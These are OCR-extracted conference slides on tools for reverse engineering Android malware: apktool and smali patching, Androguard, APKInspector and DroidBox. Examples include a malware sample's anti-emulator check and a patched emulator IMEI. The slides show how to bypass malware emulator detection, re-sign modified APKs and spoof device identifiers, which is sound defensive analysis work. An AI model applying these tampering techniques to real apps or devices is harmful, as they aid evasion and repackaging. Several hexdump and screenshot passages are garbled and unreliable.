enclosing class.
» Byte-code: creates synthetic access$0
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Anti-emulator tricks

challenge 2011

// com.fc9.currencyguide.daemon.e.b:

if (a.a(Build.DEVICE).equalsIgnoreCase (
"46a808cfdbbeafabe60aefee867bf92025dc2849"))
localBoolean = Boolean.valueOf(1); // true

}

// com.fc9.currencyguide.fc9:

if (!com.fc9.currencyguide.daemon.e.b.a() .booleanValue())
// MALICIOUS BEHAVIOUR

} else { // DO NOTHING }

> 46a808cfd5beafabe60aefee867bf92025dc2849 =
shalsum("generic")

» 5a374dcd2ebeb762b527af3abbab6072a4d24493 =
shalsum("sdk") ...

» Different behaviour if on an emulator :(
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http://honeynet.org/node/751

Solution: modify the application

Modify the smali code
1. Fix the test

thod public

2. Recompile the smali files

$ ./apktool b -d “/honeynet/smali-re modified.apk
$ jarsigner -verbose -keystore test.ks modified.apk test
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Adding debug logs

» Modify & recompile smali! No need to have source code :)
» Example: Insert calls to Log.v

const-string v6, "AXELLE str: "
invoke-static {v6, vO}, Landroid/util/Log;->v(Ljava/lang/String;
Ljava/lang/String;)I

» call = invoke-static
» v0 = what to log

> re-use variables with caution...

V/AXELLE: str: ( 407): CD2ACE300D6687D4

F::RTINET. InsomniHack’12 - A. Apvrille 33/42



Customize Your Emulator

» Patch
emulator-arm

» Search for
+CGSN:
IMEI

» Search for
+CIMI: IMSI

¢ axelle@caiman:~/softs/android-sdk-linux_86/tools$
—C 10 +CINI

-, 00237ba0 52 45 47 00 21 2b 43 47 52 45 47 00 21

£ 00237bb0 47 53 3d 00 21 2b 43 47 44 43 4f 4de 54

= 00237bc0 43 47 44 43 4F de 54 3f 00 2b 43 47 51

2 00237bd0  3d 31 00 2b 43 47 51 4d 49 4e 3d 31 00

W 00237be0 45 52 45 50 3d 31 2c 30 00 2b 43 47 41
B 00237bf0 31 2c 30 00 44 2a 39 39 2a 2a 2a 31 23
©00237c00 00 2b 43 de d4d 41 3d 31 00 2b 43 de 4d
200237510 00 21 2b 43 52 53 4d 3d 00 2b 43 48 4c
0 00237c20 00 2b 43 48 dc 44 3d 31 00 2b 43 48 4c
W N0D3Ze20__NN_2h A3 AR dr A4 Zd _IZ__(ON 24 _2h GA G4

00237c40 2b 43 49 4d 49 00 (33 31 30 32 36 30 50
100237c50 | 5030 50 30 50/ 00 2b 43 47 53 4e 00 50
1f00237c60 30030 30 30 30 30 30 30 30 30 30 00 2b
£ UUZ3/CiU 44 3d 37 UU Zb 43 4f SU 53 3d SU Uy 21
© 00237c80 47 44 3d 00 21 2b 43 50 49 de 3d 00 2b
£ 00237c90 de 3f 00 2b 43 de 4d 49 3 00 2b 43 4de
8 00237ca0 20 31 2c 32 2c 32 2c 31 2c 31 00 2b 43
®00237ch0  3f 00 45 30 51 30 56 31 00 53 30 3d 30
20023751:0 4d 45 45 3d 31 00 2b 43 43 57 41 3d 31
§00237cd0 4d 4f 44 3d 30 00 2b 43 4d 55 54 3d 30
@ 00237ce0 53 53 de 3d 30 2c 31 00 2b 43 4f d4c 50

hexdump -C emulator-arm |

2b
3d
52
2b
43
00
41
44
44
53
30
30
43
2D
43
4d
46
00
00
00
3d

% axelle@caiman:/sof ts/android-sdk-linux_86/toolss$ i

| CGDCONT ?.+CGQREQ]
| =1 .+CGANIN=1.+CG]|
|EREP=1, 0.+CGACT=|
11,0.D%99%xx14.1D]
| .+CHMA=1 .+CHMA=2]
| . ' +CRSM=.+CHLD=0]
| .+CHL -+CHLD=2]
| +CHILN-—Z 1ayTS— |
|+CINI.3102600000]
100000 .+CGSN.0000]
100000000000 .+CUS|
EEEWL]
1GD=.!+CPIN=.+CPI|
IH?.+CNHI?.+CHHI: |
| 1,2,2,1,1.+CFUNI|
12.E0Q0V1.50=0.+C]|
HCCHA=1 .+C]
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Customize Your Emulator

» Patch
emulator-arm

» Search for 1droic one
+CGSN: 2 C I Phone 1
IMEI ELEASE: 1.6

» Search for
+CIMI: IMSI
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Who uses those permissions?

Androguard’s

$ ./androlyze.py -i criptomovil.apk -x

PERM :

READ_PHONE_STATE

Lcom/antivirus/kav/MainActivity; onCreate
(Landroid/os/Bundle;)V (QonCreate-BB@0x0-0x16)

---> Landroid/telephony/TelephonyManager;
getDeviceld ()Ljava/lang/String;
Lcom/antivirus/kav/SmsReceiver; GetStaticDataString
(Landroid/content/Context;) Ljava/lang/String;
(@GetStaticDataString-BBQ0x0-0x10) --->
Landroid/telephony/TelephonyManager;

getLinelNumber ()Ljava/lang/String;

INTERNET

Lcom/antivirus/kav/SmsReceiver; GetRequest
(Ljava/lang/String;)I (QGetRequest-BB@0x3c-0x3c)
---> Ljava/net/URL; openConnection ()
Ljava/net/URLConnection;
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http://androguard.blogspot.com/2011/03/android-permissions.html

Similarities and differences

$ ./androsim.py -i com.christmasgame.balloon_v1.3.apk
plankton_samplel.apk

DIFF METHODS : 115

NEW METHODS : 5

MATCH METHODS : O

DELETE METHODS : 318

[0.9955412745475769, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0,

1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0]
0.0038437288383

Conclusion: Those samples of Riskware/CounterClank and
Android /Plankton are not similar :)
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http://code.google.com/p/androguard/

Visualization of APK: Androguard + cytoscape

Androguard XGMML SuiGonFo-infe<ted.apk
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http://androguard.blogspot.com/2011_02_01_archive.html

Visualization of APK: Androguard + cytoscape

$ ./androxgmml.py -i sample.apk -o output.xgmml -f
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http://androguard.blogspot.com/2011_02_01_archive.html

Androguard + gephi

DI ]

Lo K e, o @A L e o
e e

S
oAt ;oSG o e 11
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Androguard + gephi




APKlnspector: a front-end

©© APKinspector

Tool

i EERIE SideView EEE]
CFG Dalvik ByteCode Smali Java Callinjout Permission AndroidManifest.xml Files  Stiings  Classes | Methods {3

MainActivitys1; +
MainActivity;

RSattr;

R$drawable;
Rslayout;

Rsstring;

. WEILY

1 0x0 const-string V0, [string@ 163

2 0x4 const-string v1, [string@ 10 -]

3 0x8 const-string v2 , [string@ 0 ]

4 0xc invoke-virtual vO,v1,v2 , [meth@ 68 (Ljava/lang/CharSequenc
5 0x12 move-result-object vo

6 0x14 const-string v1, [string@ 5 -]

7 0x18 const-string v2 , [string@ 0 ]

8 Ox1c invoke-virtual vo, v1,v2  [meth@ 68 (Ljava/lang/CharSequer
9 0x22 move-result-object v0

AVATARA AR VAR
»

S aa

SmsReceivers1;

10 0x24 const-string v1, [string@ 192 ¢] = @ smsReceiver;

11 0x28 const-string v2 , [string@ 0 ] ) <clinit>

12 Ox2c invoke-virtual vO, v1, v2, [meth@ 68 (Ljava/lang/CharSequer J <init>

13 0x32 move-result-object vO | FireGetRequest
14 0x34 return-object vO | GetBoolValue
5 | GetRequest

| GetstaticDatastri
| LinkAntivirus

| saveBoolvalue

| onReceive

| Please input the strings

Filter @ search

" 0K
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APKlnspector: a front-end

©© 6 APKinspector

FIEVIEn] EE=EE sideview (SE)x)
CFG Dalvik ByteCode Smali Java Callinjout Permission AndroidManifestxmi Files stiings Classes Methods ()
YisSion: READ_PHONE_STATE#+s#srkssssnss sastssersssss - com
+ antivirus

AP Landmm/telephonyrrelephonyManager getDeviceld 1)L]ava/lang/5mng
Method: L av/MainActivity; onCreate
Where: (@oncreate BB@0x0-0x16)

API: Landroid/telephony/TelephonyManager; getLinelNumber (JLjava/lang/String;
Method: Lcom/antivirus/kav/SmsReceiver; GetStaticDataString (Landroid/content/Context;)Ljava/lang/s
Where: (@GetStaticDatastring-BB@0x0-0x10)

API: Landroid/telephony/TelephonyManager; getsubscriberid (JLjavaflang/string;
Method: Lcomyantivirus/kav/SmsReceiver; GetstaticDatastring (Landroid/content/Context;)Ljava/lang/sti
Where: (@GetStaticDatastring-BB@0x0-0x18)

API: ; getDeviceld ()Lj
Melhud Lcom/antivirus/kav/SmsReceiver, GetStaticDataString (Landroid/content/Context;)Ljava/lang/sti
Where: (@GetStaticDatastring-BB@0x0-0x20)

API: Landroid/telephony/TelephonyManager; getDeviceld ()Ljava/lang/string;
Method: Lcomyantivirus/kav/SmsReceiver; GetstaticDatastring (Landroid/content/Context;)Ljava/lang/sti
Where: (@GetStaticDatastring-BB@0x92-0x92)

| Please input the strings

Filter Search

| -
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DroidBox: when does it work?!

x
3
=
]
]
£
S
z
5
g
S
9
S
El
£
r
£
5
£
w
o
<

%

e View Devces Help
Applications Places System ‘#)@

© ©® 5554:Android21

A sorry!
Application Email (in process

com.android.email) is not
responding.

-

a FiiJan 27, 7:48AM @ android ¢

o000

\ 4/
oo
OO

1]z {5 {a |5 [6 [7-]s o o |
o Jw [ [r [r v JuliJor |
EEEEEMEEEE
2z [x [c [v o [nfw]. |

[ [swlo |

[android@honeynet: ~/... | § [Android SOK and AVD ... @ USSSaANGIoIGY
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http://code.google.com/p/droidbox/

DroidBox: when does it work?!

Détecteur de Carrier IQ

Uninstall application?

This application will be remo
from yc ne.

5554:DroidBox
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http://code.google.com/p/droidbox/

DroidBox: when does it work?!

'home/axelle/prog/samples/Android-Qicsomos/original/69b9691a8274al17cdc22e9681b3elc74.c

crypto - p 3 . e — 5 i s e 5 i -
net write - s - - e - - e o - e -
net read -~ i - - = h - - i o - T -
net openf--- S - - e - - o - o - e o
filewrite - = S |

file read

activity

leak

Qall| e

service - o S S |

dexload |-

1(‘]0 15‘0 260 25‘0
timestamp
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DroidBox: when does it work?! E

1a8274al7cdc22e9681b3elc74.apk

operation

section
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http://code.google.com/p/droidbox/

Conclusion

| use from time to time
» Androguard: similarities,
| love differences, manifest, permissions

= St Bimleio; » ded, IDA Pro and dedexer:

» Apktool alternate disassemblers/decompilers
» baksmali

> dex2jar
» Java Decompiler » Droidbox: bugs

» Androguard visualization: |

To investigate probably need training :)

» AndBug: a debugger, » AXMLPrinter: included in other
not immediate to use tools
» AndroidAuditTools » APKlnspector, Manitree: perhaps,
’ but never encountered a real use
case
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http://developer.android.com/sdk/index.html
https://code.google.com/p/android-apktool
http://code.google.com/p/smali/smali/
http://code.google.com/p/dex2jar/
http://java.decompiler.free.fr
https://github.com/swdunlop/AndBug
https://github.com/wuntee/androidAuditTools
http://code.google.com/p/androguard
http://siis.cse.psu.edu/ded/
http://dedexer.sourceforge.net
http://code.google.com/p/android4me/

Thank You !

Follow us on twitter: @FortiGuardLabs

Axelle Apvrille

aka Crypto Girl
/mobile malware reverse engineering/
aapvrille@fortinet.com

Slides edited with LOBSTER=IATEX+Beamer + Editor
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